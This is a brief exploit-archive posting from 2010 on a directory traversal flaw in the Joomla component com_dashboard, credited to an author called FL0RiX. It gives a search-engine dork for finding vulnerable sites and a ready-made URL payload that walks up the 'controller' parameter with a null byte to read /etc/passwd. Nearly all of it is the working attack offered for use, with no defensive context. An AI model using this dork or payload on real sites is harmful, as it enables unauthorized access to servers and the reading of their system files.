Joomla Component com_dashboard Directory Traversal

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Joomla Component com_dashboard Directory Traversal
# Published : 2010-01-10
# Author : FL0RiX
# Previous Title : ImagoScripts Deviant Art Clone SQL Injection Vulnerability
# Next Title : ZeeWays Script SQL Injection Vulnerability

@~~=======================================~~@
@~~=Script : Joomla Component com_dashboard

@~~=Author : FL0RiX

@~~=Greez : Dost mu var?

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_dashboard"

@~~=Note: Kimseye Hakettiginden Fazla Deger Vermeyeceksin.

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_dashboard&controller=../../../../../../../etc/passwd%00